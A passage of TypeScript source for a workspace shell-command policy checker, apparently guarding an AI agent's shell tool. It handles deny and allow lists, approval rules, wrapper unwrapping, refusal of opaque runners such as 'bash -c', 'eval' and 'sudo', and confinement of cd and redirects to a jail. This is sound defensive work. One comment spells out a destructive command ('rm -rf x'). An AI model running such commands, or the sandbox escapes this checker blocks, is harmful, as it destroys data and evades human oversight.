line. */\nexport interface ShellCheckOptions {\n /** Patterns a host approved earlier with `remember`; they allow what would ask, never what is denied. */\n remembered?: readonly WorkspaceCommandPattern[];\n /** The host the `\"auto\"` interpreter is resolved against (tests inject one). */\n host?: ShellHost;\n /** The already-resolved shell, to skip resolving it again. */\n resolved?: ResolvedShell;\n}\n\n/** A compiled `shell.rules` entry. */\ninterface CompiledRule {\n rule: WorkspaceCommandRule;\n pattern: CompiledPattern;\n}\n\n/** Per-line checker state. */\nclass LineChecker {\n public readonly commands: string[][] = [];\n\n public readonly paths: WorkspaceShellPath[] = [];\n\n public readonly asks: WorkspaceShellAsk[] = [];\n\n private readonly deny: Set<string>;\n\n private readonly allow: string[];\n\n private readonly patterns: CompiledPattern[];\n\n private readonly rules: CompiledRule[];\n\n private readonly remembered: CompiledPattern[];\n\n private readonly hasCommandRules: boolean;\n\n /** Whether `shell.onAsk` is set: unmatched, unreadable and opaque commands ask. */\n public readonly askMode: boolean;\n\n public constructor(\n private readonly policy: WorkspacePolicy,\n private readonly shell: WorkspaceShellPolicy,\n private readonly line: string,\n private readonly dialect: ShellDialect,\n private readonly interpreter: ResolvedShellInterpreter,\n remembered: readonly WorkspaceCommandPattern[] = [],\n ) {\n this.deny = new Set((shell.deny ?? []).map((name) => name.toLowerCase()));\n this.allow = shell.allow ?? [];\n this.patterns = (shell.denyPatterns ?? []).map(compilePattern);\n this.rules = (shell.rules ?? []).map((rule) => ({ rule, pattern: compilePattern(rule.match) }));\n this.remembered = remembered.map(compilePattern);\n this.askMode = shell.onAsk !== undefined;\n this.hasCommandRules =\n this.deny.size > 0 ||\n this.patterns.length > 0 ||\n this.rules.length > 0 ||\n shell.allowCommand !== undefined;\n }\n\n /** Whether argument hooks (`denyPatterns` / `allowCommand`) need literal argv. */\n public get hasArgumentHooks(): boolean {\n return this.patterns.length > 0 || this.shell.allowCommand !== undefined;\n }\n\n private get shellMode(): boolean {\n return this.interpreter !== \"none\";\n }\n\n /** The last rule that matches `argv` (later rules win). */\n private matchRule(argv: string[]): WorkspaceCommandRule | undefined {\n for (let index = this.rules.length - 1; index >= 0; index--) {\n const compiled = this.rules[index] as CompiledRule;\n\n if (compiled.pattern.test(argv, this.dialect)) {\n return compiled.rule;\n }\n }\n\n return undefined;\n }\n\n private isRemembered(argv: string[]): boolean {\n return this.remembered.some((pattern) => pattern.test(argv, this.dialect));\n }\n\n /** Record a command that needs a decision (once per argv and reason). */\n public addAsk(\n argv: string[],\n reason: WorkspaceShellAsk[\"reason\"],\n rule?: WorkspaceCommandRule,\n ): void {\n const key = `${reason}\\u0000${argv.join(\"\\u0000\")}`;\n\n if (this.asks.some((ask) => `${ask.reason}\\u0000${ask.argv.join(\"\\u0000\")}` === key)) {\n return;\n }\n\n this.asks.push({ argv: [...argv], reason, ...(rule !== undefined ? { rule } : {}) });\n }\n\n /** Refuse when the matching rule denies. */\n private assertNotDenied(argv: string[], rule: WorkspaceCommandRule | undefined): void {\n if (rule?.effect !== \"deny\") {\n return;\n }\n\n const explanation =\n rule.reason !== undefined && rule.reason.trim() !== \"\" ? ` ${rule.reason.trim()}` : \"\";\n\n throw new Refusal(\n \"denied-pattern\",\n `${show(argv.join(\" \"))} is denied by a workspace shell rule.${explanation}`,\n executableBasename(argv[0] ?? \"\", this.dialect),\n );\n }\n\n /**\n * Check the canonical form of a PowerShell alias (`Remove-Item -Recurse\n * -Force x` as `rm -rf x`): deny, `denyPatterns`, `allowCommand` and the\n * rules, but not the `allow` list (which names the spelling that was written).\n */\n public checkCanonical(argv: string[]): void {\n const key = executableBasename(argv[0] ?? \"\", this.dialect).toLowerCase();\n\n if (this.deny.has(key)) {\n throw new Refusal(\n \"denied-executable\",\n `\\`${key}\\` is denied by the workspace shell policy (in ${show(argv.join(\" \"))}).`,\n key,\n );\n }\n\n this.checkHooks(argv, true);\n\n const rule = this.matchRule(argv);\n\n this.assertNotDenied(argv, rule);\n\n if (rule?.effect === \"ask\" && !this.isRemembered(argv)) {\n this.addAsk(argv, \"rule\", rule);\n }\n }\n\n /** Refuse a denied executable (used for `cd` spellings). */\n public assertExecutableNotDenied(key: string, argv: string[]): void {\n if (this.deny.has(key)) {\n throw new Refusal(\n \"denied-executable\",\n `\\`${key}\\` is denied by the workspace shell policy (in ${show(argv.join(\" \"))}).`,\n key,\n );\n }\n }\n\n /** Run `denyPatterns` and `allowCommand` on one argv. */\n private checkHooks(argv: string[], nested: boolean): void {\n const shown = show(argv.join(\" \"));\n\n for (const pattern of this.patterns) {\n if (pattern.test(argv, this.dialect)) {\n throw new Refusal(\n \"denied-pattern\",\n `${shown} matches a command pattern the workspace shell policy denies.`,\n executableBasename(argv[0] ?? \"\", this.dialect),\n );\n }\n }\n\n const hook = this.shell.allowCommand;\n\n if (hook === undefined) {\n return;\n }\n\n let verdict: boolean | string;\n\n try {\n verdict = hook([...argv], { command: this.line, interpreter: this.interpreter, nested });\n } catch {\n verdict = false;\n }\n\n if (verdict === true) {\n return;\n }\n\n const explanation =\n typeof verdict === \"string\" && verdict.trim() !== \"\" ? ` ${verdict.trim()}` : \"\";\n\n throw new Refusal(\n \"not-allowed\",\n `${shown} was refused by the workspace shell policy.${explanation}`,\n executableBasename(argv[0] ?? \"\", this.dialect),\n );\n }\n\n /** Whether the policy names `executable` in a non-empty `allow` list. */\n private explicitlyAllowed(executable: string): boolean {\n return this.allow.includes(executable);\n }\n\n /** Refuse a command runner the policy cannot see into, unless explicitly allowed. */\n private checkOpaque(executable: string, argv: string[]): void {\n if (this.explicitlyAllowed(executable) || !this.hasCommandRules) {\n return;\n }\n\n throw new Refusal(\n \"nested-command\",\n `\\`${executable}\\` runs a command the workspace shell policy cannot inspect (in ${show(argv.join(\" \"))}). Run the inner command directly instead.`,\n executable,\n );\n }\n\n /**\n * Check one argv: `deny`, `allow`, `denyPatterns`, `allowCommand`, then\n * follow wrappers and `find -exec` to the command they run. `dynamic[i]`\n * says whether `argv[i]` is decided at run time (shell mode).\n */\n public checkArgv(argv: string[], dynamic: boolean[], depth: number): void {\n const first = argv[0] ?? \"\";\n const executable = executableBasename(first, this.dialect);\n const key = executable.toLowerCase();\n\n if (executable === \"\") {\n throw new Refusal(\"not-allowed\", \"The command has no executable name.\");\n }\n\n if (dynamic[0] === true) {\n throw new Refusal(\n \"unsupported-syntax\",\n `The command name \\`${first}\\` is decided when the line runs, so the workspace shell policy cannot check it. Write the command name literally.`,\n );\n }\n\n if (this.deny.has(key)) {\n throw new Refusal(\n \"denied-executable\",\n `\\`${executable}\\` is denied by the workspace shell policy (in ${show(argv.join(\" \"))}).`,\n executable,\n );\n }\n\n if (this.allow.length > 0 && !this.allow.includes(executable)) {\n const listed = this.allow.slice(0, 20).join(\", \");\n\n throw new Refusal(\n \"not-allowed\",\n `\\`${executable}\\` is not in the workspace shell allowlist. Allowed commands: ${listed}${this.allow.length > 20 ? \", …\" : \"\"}.`,\n executable,\n );\n }\n\n this.checkHooks(argv, depth > 0);\n\n const rule = this.matchRule(argv);\n\n this.assertNotDenied(argv, rule);\n this.commands.push([...argv]);\n\n const remembered = this.isRemembered(argv);\n const approved = rule?.effect === \"allow\" || remembered || this.explicitlyAllowed(executable);\n\n if (\n OPAQUE_RUNNERS.has(key) ||\n (this.shellMode && this.dialect === \"posix\" && SHELL_OPAQUE_BUILTINS.has(key)) ||\n (this.shellMode && this.dialect === \"cmd\" && CMD_OPAQUE_BUILTINS.has(key)) ||\n (this.shellMode && this.dialect === \"powershell\" && POWERSHELL_OPAQUE.has(key))\n ) {\n if (approved) {\n return;\n }\n\n if (this.askMode || rule?.effect === \"ask\") {\n this.addAsk(argv, \"nested\", rule);\n\n return;\n }\n\n this.checkOpaque(executable, argv);\n\n return;\n }\n\n if (this.shellMode && this.dialect === \"posix\" && ARITHMETIC_SENSITIVE_BUILTINS.has(key)) {\n this.checkArithmeticSensitive(executable, argv, dynamic);\n }\n\n const ranges = this.unwrap(key, argv);\n\n // A command no rule or allow list covers asks — except a wrapper, which\n // asks through the command it runs.\n if (!approved && ranges === undefined) {\n if (rule?.effect === \"ask\") {\n this.addAsk(argv, \"rule\", rule);\n } else if (rule === undefined && this.askMode && this.allow.length === 0) {\n this.addAsk(argv, \"rule\");\n }\n } else if (!approved && rule?.effect === \"ask\") {\n this.addAsk(argv, \"rule\", rule);\n }\n\n if (ranges === undefined) {\n return;\n }\n\n if (ranges === null || depth >= MAX_WRAPPER_DEPTH) {\n if (this.askMode) {\n this.addAsk(argv, \"nested\", rule);\n\n return;\n }\n\n throw new Refusal(\n \"nested-command\",\n `\\`${executable}\\` is used with options the workspace shell policy cannot read (in ${show(argv.join(\" \"))}). Run the inner command directly instead.`,\n executable,\n );\n }\n\n for (const [start, end] of ranges) {\n this.checkArgv(argv.slice(start, end), dynamic.slice(start, end), depth + 1);\n }\n }\n\n /**\n * Builtins bash may evaluate arguments of as arithmetic (array subscripts\n * like `a[$(cmd)]` run the substitution): arguments must be literal, free\n * of `[`, and must not name a variable that changes how the shell runs.\n */\n private checkArithmeticSensitive(executable: string, argv: string[], dynamic: boolean[]): void {\n for (let index = 1; index < argv.length; index++) {\n const argument = argv[index] ?? \"\";\n\n if (dynamic[index] === true) {\n throw new Refusal(\n \"unsupported-syntax\",\n `\\`${executable}\\` arguments must be literal here (\\`${argument}\\` is not): bash may evaluate them as arithmetic.`,\n executable,\n );\n }\n\n if (argument.includes(\"[\") && argument !== \"[\" && argument !== \"]\") {\n throw new Refusal(\n \"unsupported-syntax\",\n `\\`${executable}\\` arguments with \\`[\\` (array subscripts, evaluated as arithmetic) are not supported.`,\n executable,\n );\n }\n\n const name = argument.split(\"=\")[0] ?? \"\";\n\n if (SENSITIVE_VARIABLES.has(name) || name.startsWith(\"BASH_FUNC_\")) {\n throw new Refusal(\n \"unsupported-syntax\",\n `Changing \\`${name}\\` is not supported: it changes how the shell runs the commands that follow.`,\n executable,\n );\n }\n }\n }\n\n /**\n * The argv ranges a wrapper runs. `undefined` — not a wrapper (or one that\n * runs nothing, like a bare `env`); `null` — a wrapper whose options the\n * policy cannot read (refused).\n */\n private unwrap(key: string, argv: string[]): Array<[number, number]> | null | undefined {\n switch (key) {\n case \"env\":\n return suffixFrom(argv, unwrapEnv(argv));\n case \"nice\":\n return suffixFrom(argv, unwrapNice(argv));\n case \"nohup\":\n return suffixFrom(argv, unwrapSimple(argv, []));\n case \"time\":\n return suffixFrom(argv, unwrapSimple(argv, [\"-p\"]));\n case \"timeout\":\n return suffixFrom(argv, unwrapTimeout(argv));\n case \"command\":\n return argv.slice(1).some((arg) => arg === \"-v\" || arg === \"-V\")\n ? undefined\n : suffixFrom(argv, unwrapSimple(argv, [\"-p\"]));\n case \"builtin\":\n return suffixFrom(argv, unwrapSimple(argv, []));\n case \"exec\":\n return this.dialect === \"posix\" ? suffixFrom(argv, unwrapExec(argv)) : undefined;\n case \"find\":\n return unwrapFind(argv);\n default:\n return undefined;\n }\n }\n\n /** Check a `cd` (shell mode): literal, one operand, inside the jail from every possible cwd. */\n public checkCd(words: ShellWord[], cwds: string[]): string[] {\n const argv = words.map((word) => word.value);\n\n if (this.deny.has(\"cd\")) {\n throw new Refusal(\"denied-executable\", \"`cd` is denied by the workspace shell policy.\", \"cd\");\n }\n\n this.checkHooks(argv, false);\n this.commands.push(argv);\n\n const operands = words.slice(1);\n\n while (\n this.dialect === \"posix\" &&\n operands.length > 0 &&\n [\"-P\", \"-L\", \"--\"].includes(operands[0]?.value ?? \"\")\n ) {\n operands.shift();\n }\n\n const target = operands[0];\n\n if (operands.length !== 1 || target === undefined || target.value === \"-\" || target.dynamic) {\n throw new Refusal(\n \"unsupported-syntax\",\n \"`cd` needs exactly one literal directory inside the workspace (no `-`, `~` or variables).\",\n \"cd\",\n );\n }\n\n const next = new Set(cwds);\n\n for (const cwd of cwds) {\n const resolved = this.resolveTarget(cwd, target.value);\n\n this.assertInJail(resolved, target.value, \"cd\");\n this.paths.push({ path: resolved, access: \"cwd\", target: target.value });\n next.add(resolved);\n }\n\n if (next.size > MAX_CD_CANDIDATES) {\n throw new Refusal(\"unsupported-syntax\", \"The line changes directory too many times.\", \"cd\");\n }\n\n return [...next];\n }\n\n /** Check a redirection target from every possible cwd. */\n public checkRedirectTarget(word: ShellWord, access: \"read\" | \"write\", cwds: string[]): void {\n if (this.dialect === \"powershell\" && !word.quoted && word.value.toLowerCase() === \"$null\") {\n return;\n }\n\n if (word.dynamic) {\n throw new Refusal(\n \"unsupported-syntax\",\n `The redirection target \\`${word.raw}\\` must be a literal path (no variables, globs or \\`~\\`).`,\n );\n }\n\n const value = word.value;\n\n if (\n (this.dialect === \"posix\" && DEVICE_TARGETS.has(value)) ||\n (this.dialect === \"cmd\" && CMD_DEVICE_TARGETS.has(value.toLowerCase()))\n ) {\n return;\n }\n\n for (const cwd of cwds) {\n const resolved = this.resolveTarget(cwd, value);\n\n this.assertInJail(resolved, value, \"redirect\");\n this.paths.push({ path: resolved, access, target: value });\n }\n }\n\n private resolveTarget(cwd: string, target: string): string {\n return path.resolve(cwd, target);\n }\n\n private assertInJail(resolved: string, target: string, kind: \"cd\" | \"redirect\"): void {\n if (isInsideJailLexically(this.policy, resolved)) {\n return;\n }\n\n throw new Refusal(\n \"path-escape\",\n kind === \"cd\"\n ? `\\`cd ${target}\\` leaves the workspace jail (or enters a denied path); commands must stay inside the workspace.`\n : `The redirection target \\`${target}\\` is outside the workspace jail or on a denied path.`,\n undefined,\n target,\n );\n }\n}\n\n/**\n * Turn a wrapper's \"inner command starts at `start`\" into a range; a\n * wrapper that runs nothing (`start === argv.length`) becomes `undefined`.\n */\nfunction suffixFrom(\n argv: string[],\n start: number | null,\n): Array<[number, number]> | null | undefined {\n if (start === null) {\n return null;\n }\n\n return start < argv.length ? [[start, argv.length]] : undefined;\n}\n\n/** `nohup` / `time` / `command` / `builtin`: skip the listed flags and `--`. */\nfunction unwrapSimple(argv: string[], flags: string[]): number | null {\n let index = 1;\n\n while (index < argv.length) {\n const arg = argv[index] ?? \"\";\n\n if (arg === \"--\") {\n index++;\n\n break;\n }\n\n if (flags.includes(arg)) {\n index++;\n\n continue;\n }\n\n if (arg.startsWith(\"-\") && arg !== \"-\") {\n return null;\n }\n\n break;\n }\n\n return index;\n}\n\n/** `env [-i] [-u NAME] [NAME=value]… command…` */\nfunction unwrapEnv(argv: string[]): number | null {\n let index = 1;\n\n while (index < argv.length) {\n const arg = argv[index] ?? \"\";\n\n if (arg === \"-i\" || arg === \"-\" || arg === \"--ignore-environment\") {\n index++;\n\n continue;\n }\n\n if (arg === \"-u\" || arg === \"--unset\") {\n index += 2;\n\n continue;\n }\n\n if (arg.startsWith(\"--unset=\") || (arg.startsWith(\"-u\") && arg.length > 2)) {\n index++;\n\n continue;\n }\n\n if (arg === \"--\") {\n index++;\n\n break;\n }\n\n if (arg.startsWith(\"-\")) {\n return null;\n }\n\n break;\n }\n\n while (index < argv.length && /^[^=]+=/.test(argv[index] ?? \"\")) {\n index++;\n }\n\n return index;\n}\n\n/** `nice [-n N | -N | --adjustment=N] command…` */\nfunction unwrapNice(argv: string[]): number | null {\n let index = 1;\n\n while (index < argv.length) {\n const arg = argv[index] ?? \"\";\n\n if (arg === \"-n\" || arg === \"--adjustment\") {\n index += 2;\n\n continue;\n }\n\n if (/^-n-?[0-9]+$/.test(arg) || /^--adjustment=-?[0-9]+$/.test(arg) || /^-[0-9]+$/.test(arg)) {\n index++;\n\n continue;\n }\n\n if (arg === \"--\") {\n index++;\n\n break;\n }\n\n if (arg.startsWith(\"-\")) {\n return null;\n }\n\n break;\n }\n\n return index;\n}\n\n/** `timeout [options] DURATION command…` */\nfunction unwrapTimeout(argv: string[]): number | null {\n let index = 1;\n\n while (index < argv.length) {\n const arg = argv[index] ?? \"\";\n\n if (arg === \"-s\" || arg === \"--signal\" || arg === \"-k\" || arg === \"--kill-after\") {\n index += 2;\n\n continue;\n }\n\n if (\n /^-[sk].+$/.test(arg) ||\n arg.startsWith(\"--signal=\") ||\n arg.startsWith(\"--kill-after=\") ||\n arg === \"--preserve-status\" ||\n arg === \"--foreground\" ||\n arg === \"-v\" ||\n arg === \"--verbose\"\n ) {\n index++;\n\n continue;\n }\n\n if (arg === \"--\") {\n index++;\n\n break;\n }\n\n if (arg.startsWith(\"-\")) {\n return null;\n }\n\n break;\n }\n\n // The duration, then the command.\n if (index >= argv.length - 1) {\n return null;\n }\n\n return index + 1;\n}\n\n/** `exec [-cl] [-a name] command…` (bash). */\nfunction unwrapExec(argv: string[]): number | null {\n let index = 1;\n\n while (index < argv.length) {\n const arg = argv[index] ?? \"\";\n\n if (arg === \"-c\" || arg === \"-l\" || arg === \"-cl\" || arg === \"-lc\") {\n index++;\n\n continue;\n }\n\n if (arg === \"-a\") {\n index += 2;\n\n continue;\n }\n\n if (arg === \"--\") {\n index++;\n\n break;\n }\n\n if (arg.startsWith(\"-\")) {\n return null;\n }\n\n break;\n }\n\n return index;\n}\n\n/** The commands `find -exec / -execdir / -ok / -okdir … ;|+` runs. */\nfunction unwrapFind(argv: string[]): Array<[number, number]> | null | undefined {\n const inner: Array<[number, number]> = [];\n\n for (let index = 1; index < argv.length; index++) {\n const arg = argv[index] ?? \"\";\n\n if (arg !== \"-exec\" && arg !== \"-execdir\" && arg !== \"-ok\" && arg !== \"-okdir\") {\n continue;\n }\n\n const start = index + 1;\n let end = start;\n\n while (end < argv.length && argv[end] !== \";\" && argv[end] !== \"+\") {\n end++;\n }\n\n if (end >= argv.length || end === start) {\n return null;\n }\n\n inner.push([start, end]);\n index = end;\n }\n\n return inner.length > 0 ? inner : undefined;\n}\n\n/** Build the argv-mode refusal for a line that is not a single argv. */\nfunction argvModeRefusal(command: string): Refusal {\n const analysis = analyzeArgvCommand(command);\n\n if (analysis.ok) {\n // Not reached: callers only ask for a refusal of a line that failed.\n return new Refusal(\"metacharacter\", \"The command cannot run as a single argv.\");\n }\n\n if (analysis.type === \"empty\") {\n return new Refusal(\"not-allowed\", \"The command is empty.\");\n }\n\n if (analysis.type === \"unbalanced-quotes\") {\n return new Refusal(\n \"unbalanced-quotes\",\n `The command has an unbalanced \\`${analysis.quote}\\` quote. Close it, or quote the argument with the other kind of quote.`,\n );\n }\n\n const token = analysis.token;\n const suffix = \" (run_shell executes a single command without a shell.)\";\n const parsed = parseShellLine(command, \"posix\");\n const segments: ShellSegment[] = parsed.ok ? parsed.segments : [];\n const listOperator = token === \"&&\" || token === \"||\" || token === \";\" || token === \"\\n\";\n\n if (listOperator && segments.length >= 2) {\n const shownOperator = token === \"\\n\" ? \"A line break\" : `\\`${token}\\``;\n const firstWords = (segments[0]?.source ?? \"\").trim().split(/\\s+/);\n\n if (firstWords[0] === \"cd\") {\n const rest = segments.slice(1).map((segment) => show(segment.source));\n\n return new Refusal(\n \"metacharacter\",\n `${shownOperator} is not supported in argv mode, and \\`cd\\` does not carry over: every command starts in the workspace root. Run ${rest.join(\", then \")} on its own, with paths relative to the root.${suffix}`,\n );\n }\n\n const steps = segments.map((segment) => show(segment.source));\n const joiner = token === \"||\" ? \", and if it fails, \" : \", then \";\n\n return new Refusal(\n \"metacharacter\",\n `${shownOperator} is not supported in argv mode: run ${steps.join(joiner)}, as separate commands.${suffix}`,\n );\n }\n\n if (token === \"&\" && segments.length >= 1) {\n const steps = segments.map((segment) => show(segment.source));\n const run =\n steps.length === 1\n ? `run ${steps[0] ?? \"\"} without it`\n : `run ${steps.join(\", then \")} as separate commands`;\n\n return new Refusal(\n \"metacharacter\",\n `\\`&\\` is not supported in argv mode: ${run}; start a long-running command with background: true.${suffix}`,\n );\n }\n\n if (token === \"|\") {\n const pipeline = command\n .split(\"|\")\n .map((part) => part.trim())\n .filter(Boolean);\n\n return new Refusal(\n \"metacharacter\",\n `\\`|\\` (a pipe) is not supported in argv mode: run ${show(pipeline[0] ?? command)} on its own and read its output yourself.${suffix}`,\n );\n }\n\n if (token === \">\" || token === \">>\" || token === \">&\") {\n return new Refusal(\n \"metacharacter\",\n `\\`${token}\\` (redirection) is not supported in argv mode: run the command without it and save the output with write_file if you need it.${suffix}`,\n );\n }\n\n if (token === \"<\" || token === \"<<\" || token === \"<&\") {\n return new Refusal(\n \"metacharacter\",\n `\\`${token}\\` (input redirection) is not supported in argv mode: pass the file path to the command as an argument.${suffix}`,\n );\n }\n\n if (token === \"$(\" || token === \"`\") {\n return new Refusal(\n \"metacharacter\",\n `Command substitution (${token === \"$(\" ? \"`$(…)`\" : \"backticks\"}) is not supported in argv mode: run the inner command first, then pass its output literally.${suffix}`,\n );\n }\n\n if (token === \"$\" || token === \"${\") {\n return new Refusal(\n \"metacharacter\",\n `\\`$\\` (variable expansion) is not supported in argv mode: write the value literally, or put the \\`$\\` inside quotes to pass it as text.${suffix}`,\n );\n }\n\n if (token === \"(\" || token === \")\") {\n return new Refusal(\n \"metacharacter\",\n `\\`${token}\\` is not supported in argv mode: put it inside quotes to pass it as text.${suffix}`,\n );\n }\n\n return new Refusal(\n \"metacharacter\",\n `\\`${token === \"\\n\" ? \"\\\\n\" : token}\\` is not supported in argv mode: run one command per call, and quote any argument that contains it.${suffix}`,\n );\n}\n\n/** Check a shell-mode line. */\nfunction checkShellLine(\n checker: LineChecker,\n policy: WorkspacePolicy,\n command: string,\n dialect: ShellDialect,\n): void {\n if (/^[-+]/.test(command)) {\n throw new Refusal(\"unsupported-syntax\", \"A command line may not start with `-` or `+`.\");\n }\n\n const parsed = parseShellLine(command, dialect);\n\n if (!parsed.ok) {\n if (checker.askMode) {\n checker.addAsk([command], \"unparsed\");\n\n return;\n }\n\n throw new Refusal(\n parsed.reason,\n `${parsed.message} The workspace shell policy only runs lines it can check.`,\n );\n }\n\n if (parsed.background) {\n throw new Refusal(\n \"unsupported-syntax\",\n \"`&` (run in the background) is not supported in a command line: start a long-running command with background: true instead.\",\n );\n }\n\n let cwds = [path.resolve(policy.cwd)];\n\n for (const simple of parsed.commands) {\n cwds = checkSimpleCommand(checker, simple, cwds, dialect);\n }\n}\n\n/** Check one parsed simple command; returns the possible working directories after it. */\nfunction checkSimpleCommand(\n checker: LineChecker,\n simple: ShellSimpleCommand,\n cwds: string[],\n dialect: ShellDialect,\n): string[] {\n for (const assignment of simple.assignments) {\n const name = assignment.assignmentName ?? \"\";\n\n if (SENSITIVE_VARIABLES.has(name) || name.startsWith(\"BASH_FUNC_\")) {\n throw new Refusal(\n \"unsupported-syntax\",\n `Assigning \\`${name}\\` is not supported: it changes how the shell runs the commands that follow.`,\n );\n }\n }\n\n for (const redirect of simple.redirects) {\n if (redirect.type === \"read\" || redirect.type === \"write\") {\n checker.checkRedirectTarget(redirect.target, redirect.type, cwds);\n }\n }\n\n const first = simple.words[0];\n\n if (first === undefined) {\n return cwds;\n }\n\n const executable = first.dynamic ? \"\" : executableBasename(first.value, dialect).toLowerCase();\n const powershell = dialect === \"powershell\";\n\n if (executable === \"cd\" || (powershell && POWERSHELL_CD_NAMES.has(executable))) {\n // A `cd` the policy cannot follow would let later targets escape the jail:\n // it is refused outright, never turned into an ask.\n checker.assertExecutableNotDenied(\n executable,\n simple.words.map((word) => word.value),\n );\n\n if (powershell) {\n const words = normalizePowerShellCd(simple.words);\n\n if (words === null) {\n throw new Refusal(\n \"unsupported-syntax\",\n \"`Set-Location` is supported with one directory (`-Path` / `-LiteralPath` or positional) only.\",\n \"cd\",\n );\n }\n\n return checker.checkCd(words, cwds);\n }\n\n return checker.checkCd(simple.words, cwds);\n }\n\n try {\n if (!first.dynamic && first.value.includes(\"=\")) {\n throw new Refusal(\n \"unsupported-syntax\",\n `\\`${first.raw}\\` is not a plain command name or \\`NAME=value\\` assignment.`,\n );\n }\n\n if (/^[-+]/.test(first.value)) {\n throw new Refusal(\"unsupported-syntax\", `\\`${first.raw}\\` is not a command name.`);\n }\n\n if (checker.hasArgumentHooks) {\n const dynamic = simple.words.find((word) => word.dynamic);\n\n if (dynamic !== undefined) {\n throw new Refusal(\n \"unsupported-syntax\",\n `\\`${dynamic.raw}\\` is decided when the line runs, so it cannot be checked against the workspace shell policy's command rules. Write the value literally (quote globs).`,\n );\n }\n }\n\n if (\n (dialect === \"posix\" && (executable === \"pushd\" || executable === \"popd\")) ||\n (powershell && POWERSHELL_DIRECTORY_STACK.has(executable))\n ) {\n throw new Refusal(\n \"unsupported-syntax\",\n `\\`${executable}\\` is not supported; use \\`${powershell ? \"Set-Location\" : \"cd\"}\\`.`,\n );\n }\n\n const argv = simple.words.map((word) => (word.dynamic ? word.raw : word.value));\n\n checker.checkArgv(\n argv,\n simple.words.map((word) => word.dynamic),\n 0,\n );\n\n if (powershell) {\n const canonical = canonicalPowerShellArgv(argv);\n\n if (canonical !== undefined && canonical.join(\"\\u0000\") !== argv.join(\"\\u0000\")) {\n checker.checkCanonical(canonical);\n }\n }\n } catch (error) {\n // A command the policy cannot read is put to the host instead of refused.\n if (error instanceof Refusal && error.reason === \"unsupported-syntax\" && checker.askMode) {\n checker.addAsk(\n simple.words.map((word) => (word.dynamic ? word.raw : word.value)),\n \"unparsed\",\n );\n\n return cwds;\n }\n\n throw error;\n }\n\n return cwds;\n}\n\n/**\n * The shell policy's verdict on a command line, without touching the\n * filesystem.\n *\n * - **argv mode** (`interpreter: \"none\"`, the default): the line must\n * tokenize into one argv; otherwise it is refused with a\n * `\"metacharacter\"` / `\"unbalanced-quotes\"` reason and a message that\n * names the operator and suggests the split.\n * - **shell mode** (`interpreter: \"sh\"`): the line is parsed and every\n * simple command — inside `;`, `&&`, `||`, pipes, subshells, `$( )`,\n * backticks and here-documents — is checked; redirection targets and `cd`\n * directories must stay in the jail (checked lexically here; `exec`\n * re-checks them with symlinks resolved).\n *\n * Every argv goes through `deny` (case-insensitive, wins), `allow`\n * (exhaustive when non-empty), `denyPatterns` and `allowCommand`.\n * Wrappers (`env`, `time`, `timeout`, `nice`, `nohup`, `command`,\n * `builtin`, `exec`) and `find -exec` are followed to the command they run.\n * A runner the policy cannot see into (`bash -c`, `eval`, `xargs`, `sudo`,\n * …) is refused while the policy has deny rules, unless `allow` names it.\n *\n * @example\n * checkShellCommand({ cwd, shell: { allow: [\"git\"] } }, \"git add -A && git commit -m wip\");\n * // { allowed: false, reason: \"metacharacter\", message: \"`&&` is not supported in argv mode: run `git add -A`, then `git commit -m wip`, …\" }\n */\nexport function checkShellCommand(\n policy: WorkspacePolicy,\n command: string,\n options?: ShellCheckOptions,\n): WorkspaceShellCheck {\n const resolved =\n options?.resolved ?? resolveShell(policy.shell, options?.host ?? currentShellHost());\n\n return runCheck(policy, command, resolved.interpreter, resolved.dialect, options?.remembered);\n}\n\n/**\n * {@link checkShellCommand} with the shell-mode dialect chosen explicitly\n * instead of from the interpreter (used to test the cmd.exe and PowerShell\n * rules anywhere). Argv mode ignores `dialect`.\n */\nexport function checkShellCommandInDialect(\n policy: WorkspacePolicy,\n command: string,\n dialect: ShellDialect,\n options?: ShellCheckOptions,\n): WorkspaceShellCheck {\n const resolved =\n options?.resolved ?? resolveShell(policy.shell, options?.host ?? currentShellHost());\n\n return runCheck(policy, command, resolved.interpreter, dialect, options?.remembered);\n}\n\nfunction runCheck(\n policy: WorkspacePolicy,\n command: string,\n interpreter: ResolvedShellInterpreter,\n dialect: ShellDialect,\n remembered?: readonly WorkspaceCommandPattern[],\n): WorkspaceShellCheck {\n const shell = policy.shell;\n\n if (!shell) {\n return {\n allowed: false,\n reason: \"not-allowed\",\n message: \"The workspace has no shell policy, so no command may run.\",\n asks: [],\n commands: [],\n paths: [],\n };\n }\n\n const shellMode = interpreter !== \"none\";\n const checker = new LineChecker(\n policy,\n shell,\n command,\n shellMode ? dialect : \"posix\",\n interpreter,\n remembered,\n );\n\n try {\n if (command.trim() === \"\") {\n throw new Refusal(\"not-allowed\", \"The command is empty.\");\n }\n\n if (shellMode) {\n checkShellLine(checker, policy, command, dialect);\n } else {\n const argv = tokenizeCommand(command);\n\n if (argv === null) {\n throw argvModeRefusal(command);\n }\n\n checker.checkArgv(\n argv,\n argv.map(() => false),\n 0,\n );\n }\n\n if (checker.asks.length > 0) {\n const first = checker.asks[0] as WorkspaceShellAsk;\n const shown = show(first.argv.join(\" \"));\n const why = first.rule?.reason !== undefined ? ` ${first.rule.reason}` : \"\";\n\n return {\n allowed: false,\n reason: \"approval-required\",\n message: `${shown} needs approval, and the workspace shell policy has no approval handler (shell.onAsk).${why}`,\n asks: checker.asks,\n commands: checker.commands,\n paths: checker.paths,\n };\n }\n\n return { allowed: true, asks: [], commands: checker.commands, paths: checker.paths };\n } catch (error) {\n if (!(error instanceof Refusal)) {\n throw error;\n }\n\n return {\n allowed: false,\n reason: error.reason,\n message: error.message,\n ...(error.executable !== undefined ? { executable: error.executable } : {}),\n ...(error.refusedPath !== undefined ? { path: error.refusedPath } : {}),\n asks: [],\n commands: checker.commands,\n paths: checker.paths,\n };\n }\n}\n\n/**\n * The simple commands a line would run (pipeline members, `&&` / `||` / `;`\n * parts, subshells and substitutions included), without checking anything.\n * A line the parser cannot read with confidence comes back with `opaque`\n * set to the reason and no commands.\n *\n * The line is read with the policy's shell dialect when its `interpreter`\n * is a shell, and with the platform's default shell otherwise.\n *\n * @example\n * classifyShellCommand(\"a | b\"); // { commands: [[\"a\"], [\"b\"]] }\n */\nexport function classifyShellCommand(\n command: string,\n policy?: Pick<WorkspacePolicy, \"shell\">,\n host?: ShellHost,\n): WorkspaceShellClassification {\n const resolved = resolveShell(policy?.shell, host ?? currentShellHost());\n const dialect = resolved.interpreter === \"none\" ? shellDialect() : resolved.dialect;\n const parsed = parseShellLine(command, dialect);\n\n if (!parsed.ok) {\n return { commands: [], opaque: parsed.message };\n }\n\n return {\n commands: parsed.commands\n .filter((simple) => 